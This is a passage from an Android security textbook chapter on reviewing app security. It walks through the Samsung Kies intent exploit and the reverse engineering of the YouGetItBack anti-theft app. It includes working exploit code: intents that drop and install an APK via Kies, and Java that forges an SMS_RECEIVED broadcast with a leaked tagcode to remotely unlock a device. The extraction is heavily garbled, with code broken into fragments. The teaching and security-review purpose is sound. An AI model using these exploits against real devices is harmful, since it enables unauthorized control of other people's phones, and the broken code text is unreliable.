interface is Andre “sh4ka” Moulu’s discovery in the Samsung Kies application
on the Galaxy S3
...

The following snippet is from sh4ka’s decompilation of Kies:
public void onReceive(Context paramContext, Intent paramIntent)
{

...
getAction()
...
equals(
"com
...
action
...
m_nKiesActionEvent = 15;
int i3 = Log
...
getByteArrayExtra("head");
byte[] arrayOfByte13 = paramIntent
...
length];
int i4 = arrayOfByte13
...
arraycopy(arrayOfByte13, 0, arrayOfByte14, 0, i4);
StartKiesService(paramContext, arrayOfByte12, arrayOfByte14);
return;
}

In the code you see the onReceive method accepting an Intent, paramIntent
...
If this is true, the method extracts a few extra values,
head and body, from paramIntent and then invokes StartKiesService
...

In order to place his own APK in /sdcard/restore with no permissions, sh4ka
exploited another issue that yielded the WRITE_EXTERNAL_STORAGE privilege
...
The following code snippet
demonstrates this:
Intent intentCreateTemp = new Intent("com
...
clipboardsaveservice
...
putExtra("copyPath", "/data/data/"+getPackageName()+
"/files/avast
...
indd

01:15:7:PM 02/24/2014

Page 90

Chapter 4 ■ Reviewing Application Security
intentCreateTemp
...
android
...
android
...
CLIPBOARD_SAVE_SERVICE, passing in extras containing the source path
of his package (in the files directory of his proof-of-concept app’s datastore)
and the destination path of /sdcard/restore
...
All of this happens without the proof-of-concept app holding the
WRITE_EXTERNAL_STORAGE permission
...
intent
...
KIES_START_RESTORE_APK");
intentStartRestore
...
getBytes());
intentStartRestore
...
getBytes());
sendBroadcast(intentStartRestore);

For more information on sh4ka’s work, check his blog post at http://sh4ka
...
html
...
It introduces tools and techniques for static and dynamic analysis
techniques, and you see how to perform some basic reverse engineering
...


Profiling
In the Profiling phase, you gather some superficial information about the target application and get an idea of what you’re up against
...
This will help in determining what techniques to employ
in other phases, and it may even reveal some issues on its own, such as utilizing
a known-vulnerable library or web service
...
Suffice it to say that apps with poor security

c04
...

Figure 4-3 shows some basic information for a mobile device recovery/antitheft
application on the Google Play web interface
...
This application, if installed, would be rather privileged
as far as third-party apps go
...

Based on the description and some of the listed permissions, you can draw a
few conclusions
...
Make a note that for later,
because it means you might have some SMS receiver code to examine
...
indd

01:15:7:PM 02/24/2014

Page 92

Chapter 4 ■ Reviewing Application Security

Figure 4-4: Some of the permissions requested by the target app

Static Analysis
The static analysis phase involves analyzing code and data in the application
(and supporting components) without directly executing the application
...
Following that, you perform additional analyses to construct call graphs, ascertain application logic and flow, and discover potential
security issues
...
dex, you can find other bits of useful information in other files
in the APK
...
indd

01:15:7:PM 02/24/2014

Page 93

93

94

Chapter 4 ■ Reviewing Application Security

might be difficult to read with common tools like grep
...
google
...

Run apktool d with the APK file as a parameter to decode the APK’s contents
and place the files in a directory named after the APK:
~$ apktool d ygib-1
...

I: Loading resource table
...

I: Decoding values */* XMLs
...

I: Copying assets and libs
...
You also use grep to ignore any references to schemas
...
com, a common XML namespace string:
~$ grep -Eir "https?://" ygib-1 | grep -v "schemas
...
com"
ygib-1/smali/com/yougetitback/androidapplication/settings/xml/
XmlOperator
...
ucc
...
php"
ygib-1/res/layout/main
...
ywlx
...
yougetitback
...
cpw
...
xml:
Please enter
a previous email address if you already have an account on
https://virgin
...
com or a new email address
if you wish to have a new account to control this device
...
xml:

https://virgin
...
com

ygib-1/res/values/strings
...
yougetitback
...
xml:

http://virgin
...
com/showSALocation?cellid=

ygib-1/res/values/strings
...
yougetitback
...
xml:
>https://virgin
...
com/eula

ygib-1/res/values/strings
...
yougetitback
...
xml:

Account Registration Successful, you can now use the
email address and password entered to log in to your personal vault on
http://virgin
...
com


c04
...
xml:
ERROR:creating user account
...
yougetitback
...

Thank You
...
xml:

Congratulations you have sucessfully registered
...
yougetitback
...
xml:

https://virgin
...
com/vault

ygib-1/res/values/strings
...
yougetitback
...
In this case, call on the Python-based reverse
engineering and analysis framework Androguard
...
For starters, just use the
AnalyzeAPK method to create appropriate objects representing the APK and its
resources; the Dex code itself; and also add an option to use the dad decompiler,
so you can convert back to Java pseudo-source:
~$ androlyze
...
apk",decompiler="dad")

Next, gather some additional cursory information about the application,
namely to confirm what you saw while profiling
...
Check
out permissions first, by calling permissions:
In [23]: a
...
permission
...
permission
...
permission
...

'android
...
RECEIVE_SMS',
'android
...
ACCESS_GPS',
'android
...
SEND_SMS',
'android
...
READ_SMS',
'android
...
WRITE_SMS',

...
You can go a step further with Androguard and find out which

c04
...

SEND_SMS :
1 Lcom/yougetitback/androidapplication/ActivateScreen;>sendActivationRequestMessage(Landroid/content/Context;
Ljava/lang/String;)V (0x2) ---> Landroid/telephony/SmsManager;>getDefault()Landroid/telephony/SmsManager;
1 Lcom/yougetitback/androidapplication/ActivateScreen;
->sendActivationRequestMessage(Landroid/content/Context;

...


Although the output was verbose, this trimmed-down snippet shows a few
interesting methods, such as the doPost method in the ConfirmPinScreen class,
which must open a socket at some point as it exercises android
...
INTERNET
...
CLASS_Lcom_yougetitback_androidapplication_ConfirmPinScreen
...
show()
########## Method Information
Lcom/yougetitback/androidapplication/ConfirmPinScreen;>doPost(Ljava/lang/String;
Ljava/lang/String;)Z [access_flags=private]
########## Params
- local registers: v0
...
lang
...
lang
...
indd

01:15:7:PM 02/24/2014

Page 96

v3, Ljava/net/URL;

Chapter 4 ■ Reviewing Application Security
3 (00000008) invoke-direct
v3, v11, Ljava/net/URL;->
(Ljava/lang/String;)V
4 (0000000e) invoke-virtual
v3, Ljava/net/URL;>openConnection()
Ljava/net/URLConnection;
5 (00000014) move-result-object
v4
6 (00000016) check-cast
v4, Ljava/net/HttpURLConnection;
7 (0000001a) iput-object
v4, v10, Lcom/yougetitback/
androidapplication/ConfirmPinScreen;->con Ljava/net/HttpURLConnection;
8 (0000001e) iget-object
v4, v10, Lcom/yougetitback/
androidapplication/ConfirmPinScreen;->con Ljava/net/HttpURLConnection;
9 (00000022) const-string
v7, 'POST'
10 (00000026) invoke-virtual
v4, v7, Ljava/net/HttpURLConnection;
->setRequestMethod(Ljava/lang/String;)V
11 (0000002c) iget-object
v4, v10, Lcom/yougetitback/
androidapplication/ConfirmPinScreen;->con Ljava/net/HttpURLConnection;
12 (00000030) const-string
v7, 'Content-type'
13 (00000034) const-string
v8, 'application/
x-www-form-urlencoded'
14 (00000038) invoke-virtual
v4, v7, v8, Ljava/net/
HttpURLConnection;->setRequestProperty(Ljava/lang/String; Ljava/lang/String;)
V
15 (0000003e) iget-object
v4, v10, Lcom/yougetitback/
androidapplication/ConfirmPinScreen;->con Ljava/net/HttpURLConnection;

...

49 (000000d4) iget-object
v4, v10, Lcom/yougetitback/
androidapplication/ConfirmPinScreen;->con Ljava/net/HttpURLConnection;
50 (000000d8) const/4
v7, 1
51 (000000da) invoke-virtual
v4, v7, Ljava/net/
HttpURLConnection;
->setDoInput(Z)V
52 (000000e0) iget-object
v4, v10, Lcom/yougetitback/
androidapplication/ConfirmPinScreen;->con Ljava/net/HttpURLConnection;
53 (000000e4) invoke-virtual
v4, Ljava/net/HttpURLConnection;
->connect()V

First you see some basic information about how the Dalvik VM should handle
allocation of objects for this method, along with some identifiers for the method
itself
...
net
...

You can get a more readable version of this method by decompiling it, which
returns output that effectively resembles Java source, by calling source on that
same target method:
In [39]: d
...

METHOD_doPost
...
indd

01:15:7:PM 02/24/2014

Page 97

97

98

Chapter 4 ■ Reviewing Application Security
this
...
net
...
openConnection();
this
...
setRequestMethod("POST");
this
...
setRequestProperty("Content-type",
"application/x-www-form-urlencoded");
this
...
setRequestProperty("Content-Length", new
StringBuilder()
...
length())
...
con
...
con
...
con
...
con
...
1");
this
...
setRequestProperty("Content-languages", "en-EN");
this
...
setDoOutput(1);
this
...
setDoInput(1);
this
...
connect();
v2 = this
...
getOutputStream();
v2
...
getBytes("UTF8"));
v2
...
util
...
d("YGIB Test", new
StringBuilder("con
...
append(this
...
getResponseCode())
...
util
...
d("YGIB Test", new StringBuilder(
"urlString-->")
...
toString());
android
...
Log
...

append(p12)
...


N O T E Note that decompilation isn’t perfect, partly due to differences between the
Dalvik Virtual Machine and the Java Virtual Machine
...


You see calls to android
...
Log
...
In this case, the application appears to be
logging details of the HTTP request, which could be an interesting information
leak
...
For now, see what
IPC endpoints may exist in this application, starting with activities
...
get_activities()
Out[87]:
['com
...
androidapplication
...
yougetitback
...
SecurityQuestionScreen',
'com
...
androidapplication
...
yougetitback
...
MenuScreen',

...
yougetitback
...
settings
...
Setting',
'com
...
androidapplication
...
yougetitback
...
ConfirmPinScreen',

c04
...
yougetitback
...
EnterRegistrationCodeScreen',

...
get_main_activity()
Out[88]: u'com
...
androidapplication
...
Next, check Services by calling get_services:
In [113]: a
...
yougetitback
...
DeleteSmsService',
'com
...
androidapplication
...
yougetitback
...
PostLocationService',

...
yougetitback
...
LockAcknowledgeService',
'com
...
androidapplication
...
yougetitback
...
ContactRestoreService',
'com
...
androidapplication
...
yougetitback
...
PingService',
'com
...
androidapplication
...

'com
...
androidapplication
...
MyService',

...
Next, look
at BroadcastReceivers in the app, using get_receivers:
In [115]: a
...
yougetitback
...
settings
...
Entrance$MyAdmin',
'com
...
androidapplication
...
yougetitback
...
SmsIntentReceiver',
'com
...
androidapplication
...
yougetitback
...
PingTimeout',
'com
...
androidapplication
...
yougetitback
...
SplashTimeout',
'com
...
androidapplication
...
yougetitback
...
OutgoingCallReceiver',
'com
...
androidapplication
...
yougetitback
...
IncomingCallReceiver',
'com
...
androidapplication
...
yougetitback
...
C2DMReceiver']

Sure enough, you find a Broadcast Receiver that appears to be related to processing SMS messages, likely for out-of-band communications such as locking

c04
...
Because the application requests the READ_SMS permission, and you see a curiously named Broadcast Receiver, SmsIntentReceiver,
chances are good that the application’s manifest contains an Intent filter for the
SMS_RECEIVED broadcast
...
xml
in androlyze with just a couple of lines of Python:
In [77]: for e in x
...
toxml()

...

"com
...
androidapplication
...
provider
...
SMS_RECEIVED">




...
xml with one command using Androguard’s androaxml
...


Among others, there’s a receiver XML element specifically for the
com
...
androidapplication
...
This particular receiver definition includes an intent-filter XML element with an explicit
android:priority element of 999, targeting the SMS_RECEIVED action from the
android
...
Telephony class
...

Take a look at the methods available in SmsIntentReceiver by calling
get_methods on that class
...
CLASS_Lcom_yougetitback_androidapplication_
SmsIntentReceiver
...
show_info()

...
indd

01:15:7:PM 02/24/2014

Page 100

Chapter 4 ■ Reviewing Application Security
>getMessagesFromIntent(Landroid/content/Intent;)
[Landroid/telephony/SmsMessage; [access_flags=private]
Lcom/yougetitback/androidapplication/SmsIntentReceiver;>processBackupMsg(Landroid/content/Context;
Ljava/util/Vector;)V [access_flags=private]
########## Method Information
Lcom/yougetitback/androidapplication/SmsIntentReceiver;->onReceive
(Landroid/content/Context; Landroid/content/Intent;)V [access_flags=public]

...
First create the xrefs with d
...
create_xref()
In [207]: d
...

METHOD_onReceive
...
Decompile and investigate a
few of these, starting with getMessageFromIntent:
In [213]: d
...

METHOD_getMessagesFromIntent
...
telephony
...
content
...
getExtras();
if (v0 != 0) {
v4 = v0
...
telephony
...
length];
v3 = 0;
while (v3 < v4
...
telephony
...
createFromPdu(v4[v3]);
v3++;

c04
...
You see that the parameter p9 to this method contains the Intent
object
...
getExtras, which includes all the
extra objects in the Intent
...
get("pdus") is called to extract just the PDU
byte array, which is placed in v4
...
Finally, in
what might seem like a strange approach (likely due to the decompilation process), v6 is also assigned as the SmsMessage object v5, and returned to the caller
...
In this instance, the p8 object, representing the application’s Context or
state, has getSharedPreferences invoked
...
It’s likely that SuperheroPrefsFile
contains something relevant to the operations that follow, such as a key or PIN:
In [3]: d
...

METHOD_onReceive
...
content
...
content
...
getSharedPreferences("SuperheroPrefsFile", 0);
if (p9
...
equals("
android
...
Telephony
...
getMessagesFromIntent(p9);
if (this != 0) {
v1 = 0;
while (v1 < this
...
getDisplayMessageBody();
if ((v2 != 0) && (v2
...
util
...
i("MessageListener:", v2);
this
...
isPinLock(v2, p8);
if (this != 0) {
this
...
abortBroadcast();
}
} else {
this
...
abortBroadcast();

...
indd

01:15:7:PM 02/24/2014

Page 102

Chapter 4 ■ Reviewing Application Security

Supposing you want to construct a valid SMS message to be processed by
this application, you’d probably want to take a look at isValidMessage, which
you see in the preceding code receives a string pulled from the SMS message
via getDisplayMessageBody, along with the current app context
...
content
...
getString(1
...
getString(1
...
getString(1
...
getString(1
...
getString(1
...
getString(1
...
getString(1
...
getString(1
...
getString(1
...
getAction(p12);
if ((this
...
equals(v4) == 0) &&
((this
...
equals(v0) == 0) && ((this
...
equals(v6) == 0) && ((this
...
equals(v8) == 0) && (this
...
xml
...
This is an artifact of some
decompilers’ type propagation issues, which you’ll deal with momentarily
...
The method returns 1 if p12 is matched, and
0 if it isn’t
...
Take a look at isPinLock:
In [173]: d
...

METHOD_isPinLock
...
content
...
getSharedPreferences("SuperheroPrefsFile", 0)
...
compareTo("") != 0) && (p6
...
indd

01:15:7:PM 02/24/2014

Page 103

103

104

Chapter 4 ■ Reviewing Application Security

A-ha! The Shared Preferences file rears its head again
...

If the comparison was true, onReceive calls triggerAppLaunch
...
content
...
telephony
...
currentContext = p9;
v4 = p9
...
getBoolean("Activated", 0) != 0) {
v1 = v4
...
putBoolean("lockState", 1);
v1
...
commit();
this
...
getOriginatingAddress();
v2 = new android
...
Intent("com
...

androidapplication
...
setClass(p9, com
...
androidapplication
...
putExtra("LockSmsOriginator", v0);
p9
...
startSiren(p9);
v3 = new android
...
Intent("com
...

androidapplicationn
...
setClass(this
...
yougetitback
...
LockAcknowledgeService);
this
...
startService(v3);
}

Here, edits are made to SuperheroPrefsFile, setting some Boolean values to
keys indicating if the screen is locked, and if it was done so via SMS
...
You can forego analyzing these services, as you can make some educated guesses about their purposes
...
CLASS_Lcom_yougetitback_androidapplication_
SmsIntentReceiver
...
source()
private void processContent(android
...
Context p16, String p17)
{
v6 = p16
...
82104701918e+38);
v1 = p16
...
821047222e+38);
v5 = p16
...
82104742483e+38);
v4 = p16
...
82104762765e+38);
v8 = p16
...
82104783048e+38);

...
indd

01:15:7:PM 02/24/2014

Page 104

Chapter 4 ■ Reviewing Application Security
v11 = this
...
elementAt(0);
if (p16
...
getBoolean("Activated", 0) == 0) {
if (v10
...
processActivationMsg(p16, v11);
}
} else {
if ((v10
...
equals(v5) == 0) &&
((v10
...
equals(v8) == 0) &&
((v10
...
equals(v3) == 0) &&
(v10
...
equals(v2);
}
if (v10
...
equals(v9) == 0) {
if (v10
...
equals(v4) == 0) {
if (v10
...
equals(v8) == 0) {
if (v10
...
equals(v3) == 0) {
if (v10
...
processDeactivateMsg(p16,
v11);
}
} else {
this
...
processResyncMsg(p16, v11);
}
} else {
this
...


You see similar calls to getString as you did in isValidMessage, along with
a series of if statements which further test the content of the SMS body to
determine what method(s) to call thereafter
...
Before that, however, there’s some split method that’s called on p17,
the message body string:
In [1017]: d
...
METHOD_split
...
util
...
util
...
indexOf(" ", v2);

c04
...
substring(v2);
} else {
v0 = p6
...
addElement(v0);
v2 = (v1 + 1);
} while(v1 != -1);
return v3;
}

This fairly simple method takes the message and chops it up into a Vector
(similar to an array), and returns that
...
There’s still
the trouble of the resource IDs, however
...
CLASS_Lcom_yougetitback_androidapplication_
SmsIntentReceiver
...
show()

...

12 (00000036) const
v13, 2131296282
13 (0000003c) move-object/from16 v0, v16
14 (00000040) invoke-virtual
v0, v13,
Landroid/content/Context;->getString(I)Ljava/lang/String;
15 (00000046) move-result-object v4
16 (00000048) const
v13, 2131296283
17 (0000004e) move-object/from16 v0, v16
18 (00000052) invoke-virtual
v0, v13,
Landroid/content/Context;->getString(I)Ljava/lang/String;
19 (00000058) move-result-object v8

...
The integer 2131296283 corresponds to
something going into your register of interest, v8
...
To find these values,
employ a bit more Python within androlyze by analyzing the APK’s resources:
aobj = a
...
packages
...
get_id(pkg,resid)[1]
aobj
...
Next, resid
holds the numeric resource ID you’re interested in
...
packages
...
The textual
resource key is then stored in reskey by calling aobj
...
Finally, the string value of reskey is resolved using aobj
...


c04
...
For brevity’s sake, do this in one line as shown here:
In [25]: aobj
...
packages
...
get_id(aobj
...
keys()[0],2131296283)[1])
Out[25]: [u'YGIB_UNLOCK', u'YGIB:U']

At this juncture, we know that the SMS message will need to contain “YGIB:U”
to potentially reach processUnLockMsg
...
CLASS_Lcom_yougetitback_androidapplication_
SmsIntentReceiver
...
source()
private void processUnLockMsg(android
...
Context p16,
java
...
Vector p17)
{

...
getSharedPreferences("SuperheroPrefsFile", 0);
if (p17
...
elementAt(1);
if (v9
...
util
...
v("SWIPEWIPE",
"recieved unlock message");
com
...
androidapplication
...
WipeController
...
content
...
yougetitback
...
BACKGROUND");
v7
...
yougetitback
...

ForegroundService);
p16
...
content
...
yougetitback
...
BACKGROUND");
v10
...
yougetitback
...

SirenService);
p16
...
edit();
v6 = v9
...
putBoolean("lockState", 0);
v6
...
commit();
v5 = new android
...
Intent("com
...

androidapplication
...
setClass(p16, com
...
androidapplication
...
startService(v5);
}
}
return;
}

c04
...
This doesn’t seem right, as it would imply that
so long as this key existed in the Shared Preferences file, it would evaluate
to true—this is likely a decompiler error, so let’s check the disassembly with
pretty_show:
In [1025]: d
...
METHOD_processUnLockMsg
...

12 (00000036) const-string
v13, 'SuperheroPrefsFile'
13 (0000003a) const/4
v14, 0
14 (0000003c) move-object/from16 v0, v16
15 (00000040) invoke-virtual
v0, v13, v14,
Landroid/content/Context;->getSharedPreferences
(Ljava/lang/String; I)Landroid/content/SharedPreferences;
16 (00000046) move-result-object v9
17 (00000048) const-string
v1, ''
18 (0000004c) const-string
v8, ''
19 (00000050) invoke-virtual/rangev17, Ljava/util/Vector;->
size()I
20 (00000056) move-result
v13
21 (00000058) const/4
v14, 2
22 (0000005a) if-lt
v13, v14, 122
[ processUnLockMsg-BB@0x5e processUnLockMsg-BB@0x14e ]
processUnLockMsg-BB@0x5e :
23 (0000005e) const/4
v13, 1
24 (00000060) move-object/from16 v0, v17
25 (00000064) invoke-virtual
v0, v13,
Ljava/util/Vector;->elementAt(I)Ljava/lang/Object;
26 (0000006a) move-result-object v1
27 (0000006c) check-cast
v1, Ljava/lang/String;
28 (00000070) const-string
v13, 'tagcode'
29 (00000074) const-string
v14, ''
30 (00000078) invoke-interface
v9, v13, v14,
Landroid/content/SharedPreferences;->getString(
Ljava/lang/String; Ljava/lang/String;)
Ljava/lang/String;
31 (0000007e) move-result-object v13
32 (00000080) invoke-virtual
v15, v1,
Lcom/yougetitback/androidapplication/
SmsIntentReceiver;->EvaluateToken(
Ljava/lang/String;)Ljava/lang/String;
33 (00000086) move-result-object v14
34 (00000088) invoke-virtual
v13, v14, Ljava/lang/String;>compareTo(Ljava/lang/String;)I
35 (0000008e) move-result
v13
36 (00000090) if-nez
v13, 95 [ processUnLockMsg-BB@
0x94 processUnLockMsg-BB@0x14e ]

c04
...


That clears it up—the value of the second element of the vector passed in is
passed to EvaluateToken, and then the return value is compared to the value of
the tagcode key in the Shared Preferences file
...
With that, you should realize that
your SMS message will need to effectively be something like YGIB:U followed
by a space and the tagcode value
...
However, try taking some dynamic approaches and see if
you come up with anything else
...
This
often entails tasks like ascertaining artifacts the application leaves on the file
system, observing network traffic, monitoring process behavior
...
Dynamic analysis is great for verifying assumptions
or testing hypotheses
...
What is the workflow? What
menus, screens, and settings panes exist? Much of this can be discovered via
static analysis—for instance, activities are easily identifiable
...
It’s often easier
to just interact directly with the running application
...
intent
...
MAIN
cat=[android
...
category
...
yougetitback
...
virgin
...
yougetitback
...
ActivateSplashScreen u=0} from pid 449
I/ActivityManager( 245): Start proc
com
...
androidapplication
...
mobile for activity
com
...
androidapplication
...
mobile/
com
...
androidapplication
...
indd

01:15:7:PM 02/24/2014

Page 109

109

110

Chapter 4 ■ Reviewing Application Security

First, you see the main activity (ActivateSplashScreen), as observed via
Androguard’s get_main_activity, and you see the main screen in Figure 4-5
...
After supplying this info, you see some
notable output in logcat
...
yougetitback
...
virgin
...
google
...
c2dm
...

REGISTRATION
I/intent telling something( 2252): == null ===null === Intent {
act=com
...
android
...
intent
...
yougetitback
...
virgin
...
indd

01:15:7:PM 02/24/2014

Page 110

Chapter 4 ■ Reviewing Application Security
cmp=com
...
androidapp
lication
...
mobile/
com
...
androidapplication
...
yougetitback
...
virgin
...
yougetitback
...
ModifyPinScreen u=0} from pid 2252

...
Further down in the
log, however, you see an interesting information leak:
D/update ( 2252): serverUrl-->https://virgin
...
com/
D/update ( 2252): settingsUrl-->vaultUpdateSettings?
D/update ( 2252): password-->3f679195148a1960f66913d09e76fca8dd31dc96
D/update ( 2252): tagCode-->137223048617183
D/update ( 2252): encodedXmlData—
>%3c%3fxml%20version%3d'1
...

D/YGIB Test( 2252): con
...
yougetitback
...
indd

01:15:7:PM 02/24/2014

Page 111

111

112

Chapter 4 ■ Reviewing Application Security
D/YGIB Test( 2512): content-->%3c%3fxml%20version%3d'1
...
Diddling with and then saving
configuration settings in the application also yields similarly verbose output
in the log buffer:
D/update ( 2252): serverUrl-->https://virgin
...
com/
D/update ( 2252): settingsUrl-->vaultUpdateSettings?
D/update ( 2252): password-->3f679195148a1960f66913d09e76fca8dd31dc96
D/update ( 2252): tagCode-->137223048617183
D/update ( 2252): encodedXmlData—
>%3c%3fxml%20version%3d'1
...
yougetitback
...
1)
...
For that you
use a debugger called AndBug
...
debuggable property is set to 1 (typically set to 0 on production
devices)
...
Assuming the target application is debuggable, you see output as follows:
$ adb jdwp
2252

Using grep to search for that PID maps accordingly to our target process (also
seen in the previously shown logs):
$ adb shell ps | grep 2252
u0_a79
2252 88
289584 36284 ffffffff 00000000 S
com
...
androidapplication
...
mobile

c04
...
Use the shell command and specify the
target PID:
$ andbug shell -p 2252
## AndBug (C) 2011 Scott W
...
com>
>>

Using the classes command, along with a partial class name, you can see
what classes exist in the com
...
Then using the methods
command, discover the methods in a given class:
>> classes com
...
yougetitback
...

PinDisplayScreen$XMLParserHandler
-- com
...
androidapplication
...
main
...

-- com
...
androidapplication
...
yougetitback
...
SmsIntentReceiver
-- com
...
androidapplication
...
yougetitback
...
settings
...
Setting

...
yougetitback
...
SmsIntentReceiver
## Methods Lcom/yougetitback/androidapplication/SmsIntentReceiver;
-- com
...
androidapplication
...
()V
-- com
...
androidapplication
...

foregroundUI(Landroid/content/Context;)V
-- com
...
androidapplication
...

getAction(Ljava/lang/String;)Ljava/lang/String;
-- com
...
androidapplication
...

getMessagesFromIntent(Landroid/content/Intent;)[Landroid/telephony/
SmsMessage;
-- com
...
androidapplication
...

isPinLock(Ljava/lang/String;Landroid/content/Context;)Z
-- com
...
androidapplication
...

isValidMessage(Ljava/lang/String;Landroid/content/Context;)Z

...
yougetitback
...
SmsIntentReceiver
...
You
can now trace methods and their arguments and data
...
yougetitback
...
SmsIntentReceiver
## Setting Hooks
-- Hooked com
...
androidapplication
...


c04
...
yougetitback
...
SmsIntentReceiver
>> ## trace thread <1> main
(running suspended)
-- com
...
androidapplication
...
()V:0
-- this=Lcom/yougetitback/androidapplication/SmsIntentReceiver;
<830009571568>

...
yougetitback
...
SmsIntentReceiver
...

## trace thread <1> main
(running suspended)
-- com
...
androidapplication
...

getMessagesFromIntent(Landroid/content/Intent;)
[Landroid/telephony/SmsMessage;:0
-- this=Lcom/yougetitback/androidapplication/SmsIntentReceiver;
<830009571568>
-- intent=Landroid/content/Intent; <830009581024>

...
yougetitback
...
SmsIntentReceiver
...


As soon as the SMS message arrives, passed up from the Telephony subsystem,
your hook fires, and you begin tracing from the initial onReceive method and
beyond
...
There’s also the msg variable in
isValidMessage, containing our SMS text
...
Among them is the YGIB:U value you
saw earlier, and a corresponding key YGIBUNLOCK
...
yougetitback
...
SmsIntentReceiver
...
indd

01:15:7:PM 02/24/2014

Page 114

Chapter 4 ■ Reviewing Application Security
-- this=Lcom/yougetitback/androidapplication/SmsIntentReceiver;
<830007979232>
-- message=Foobarbaz
-- com
...
androidapplication
...

isValidMessage(Ljava/lang/String;Landroid/content/Context;)Z:63
-- YGIBDEACTIVATE=YGIB:D
-- YGIBFIND=YGIB:F
-- context=Landroid/app/ReceiverRestrictedContext; <830007987072>
-- YGIBUNLOCK=YGIB:U
-- this=Lcom/yougetitback/androidapplication/SmsIntentReceiver;
<830007979232>
-- YGIBBACKUP=YGIB:B
-- YGIBRESYNC=YGIB:RS
-- YGIBLOCK=YGIB:L
-- YGIBWIPE=YGIB:W
-- YGIBRESTORE=YGIB:E
-- msg=Foobarbaz
-- YGIBREGFROM=YGIB:T

...
yougetitback
...
SmsIntentReceiver
...


In this case isPinLock then evaluates the message, but the SMS message
contains neither the PIN nor one of those strings (like YGIB:U)
...
If you send an SMS message with the YGIB:U value, you’ll
likely see a different behavior:
## trace thread <1> main
(running suspended)
-- com
...
androidapplication
...

processContent(Landroid/content/Context;Ljava/lang/String;)V:0
-- this=Lcom/yougetitback/androidapplication/SmsIntentReceiver;
<830008303000>
-- m=YGIB:U
-- context=Landroid/app/ReceiverRestrictedContext; <830007987072>

...
yougetitback
...
SmsIntentReceiver
...
yougetitback
...
SmsIntentReceiver
...
indd

01:15:7:PM 02/24/2014

Page 115

115

116

Chapter 4 ■ Reviewing Application Security
processContent(Landroid/content/Context;Ljava/lang/String;)V:232
-- YGIBDEACTIVATE=YGIB:D
-- YGIBFIND=YGIB:F
-- context=Landroid/app/ReceiverRestrictedContext; <830007987072>
-- YGIBUNLOCK=YGIB:U
-- this=Lcom/yougetitback/androidapplication/SmsIntentReceiver;
<830008303000>
-- settings=Landroid/app/ContextImpl$SharedPreferencesImpl;
<830007888144>
-- m=YGIB:U
-- YGIBBACKUP=YGIB:B
-- YGIBRESYNC=YGIB:RS
-- YGIBLOCK=YGIB:L
-- messageTokens=Ljava/util/Vector; <830008239000>
-- YGIBWIPE=YGIB:W
-- YGIBRESTORE=YGIB:E
-- command=YGIB:U
-- YGIBREGFROM=YGIB:T

This time, you ended up hitting both the processContent method and subsequently the processUnLockMsg method, as you wanted
...
You do this using AndBug’s break command, and pass the class
and method name as arguments:
>> break com
...
androidapplication
...
yougetitback
...

SmsIntentReceiver
...
vm
...

-- com
...
androidapplication
...

processUnLockMsg(Landroid/content/Context;Ljava/util/Vector;)V:0
-- com
...
androidapplication
...

processContent(Landroid/content/Context;Ljava/lang/String;)V:232
-- com
...
androidapplication
...

onReceive(Landroid/content/Context;Landroid/content/Intent;)V:60
-
...
content
...
Then resume the process with
the resume command:
>> ct android
...
SharedPreferences
## Setting Hooks
-- Hooked android
...
SharedPreferences
>> resume

c04
...
Additionally, the resume command may need to be run twice
...

Wading once again through the call stack, you’ll eventually come up on the
getString method:
## Process Resumed
>> ## trace thread <1> main
(running suspended)

...
app
...
getString(Ljava/lang/String;
Ljava/lang/String;)Ljava/lang/String;:0
-- this=Landroid/app/SharedPreferencesImpl; <830042611544>
-- defValue=
-- key=tagcode
-- com
...
androidapplication
...

processUnLockMsg(Landroid/content/Context;Ljava/util/Vector;)V:60
-- smsTokens=Ljava/util/Vector; <830042967248>
-- settings=Landroid/app/SharedPreferencesImpl; <830042611544>
-- this=Lcom/yougetitback/androidapplication/SmsIntentReceiver;
<830042981888>
-- TYPELOCK=L
-- YGIBTAG=TAG:
-- TAG=AAAA
-- YGIBTYPE=TYPE:
-- context=Landroid/app/ReceiverRestrictedContext; <830042704872>
-- setting=

...
This also happens to correspond to part of a log message that was leaked earlier, wherein tagCode was
followed by a numeric string
...


Attack
Although you could simply send your specially crafted SMS message to the
target device, you’d still be out of luck in simply knowing the tagcode value if
it happened to be different for some other, perhaps arbitrary, device (which is
practically guaranteed)
...


c04
...

Alternatively, you could go a step further and forge the SMS_RECEIVED broadcast
from your proof-of-concept app
...

The overall structure of SMS Protocol Data Units (PDUs) is beyond the scope
of this chapter, and some of those details are covered in Chapter 11, but the
following code shows pertinent snippets to forge the Intent containing your
SMS message:
String body = "YGIB:U 137223048617183";
String sender = "2125554242";
byte[] pdu = null;
byte[] scBytes = PhoneNumberUtils
...
networkPortionToCalledPartyBCD(sender);
int lsmcs = scBytes
...
get(Calendar
...
get(
Calendar
...
get(
Calendar
...
get(
Calendar
...
get(
Calendar
...
get(
Calendar
...
get(
Calendar
...
get(Calendar
...
write(lsmcs);
bo
...
write(0x04);
bo
...
length());
bo
...
write(0x00);
bo
...
write(dateBytes);
try
{
String sReflectedClassName =

c04
...
android
...
telephony
...
forName(sReflectedClassName);
Method stringToGsm7BitPacked = cReflectedNFCExtras
...
class });
stringToGsm7BitPacked
...
invoke(
null,body);
bo
...

pdu = bo
...
setComponent(new ComponentName("com
...

androidapplication
...
mobile",
"com
...
androidapplication
...
setAction("android
...
Telephony
...
putExtra("pdus", new Object[] { pdu });
intent
...
sendOrderedBroadcast(intent,null);

The code snippet first builds the SMS PDU, including the YGIB:U command,
tagcode value, the sender’s number, and other pertinent PDU properties
...
The byte array representing the PDU
body is then placed into the pdu object
...
Next, some extra values are set
...
Finally, sendOrderdBroadcast is
called, which sends your Intent off, and instructs the app to unlock the device
...

I/LockAcknowledgeService(14008): LockAcknowledgeService created!!!
I/FindLocationService(14008): FindLocationService stopped!!!
I/ActivityManager(13738): START {act=android
...
action
...
foobar
...
yougetitback
...
virgin
...
yougetitback
...
SplashScreen u=0} from pid 14008

...


c04
...
intent
...
VIEW
cat=[test
...
123] flg=0x10000000
cmp=com
...
androidapplication
...
mobile/
com
...
androidapplication
...


Case Study: SIP Client
This brief example shows you how to discover an unprotected Content Provider—
and retrieve potentially sensitive data from it
...
Rather than going
through the same workflow as the previous app, we’ll jump right into another
quick-and-easy dynamic analysis technique
...
indd

01:15:7:PM 02/24/2014

Page 120

Chapter 4 ■ Reviewing Application Security

Enter Drozer
Drozer (formerly known as Mercury), by MWR Labs, is an extensible, modular
security testing framework for Android
...
It features numerous modules for operations like retrieving
app information, discovering unprotected IPC interfaces, and exploiting the
device
...


Discovery
With Drozer up and running, you quickly identify Content Provider URIs
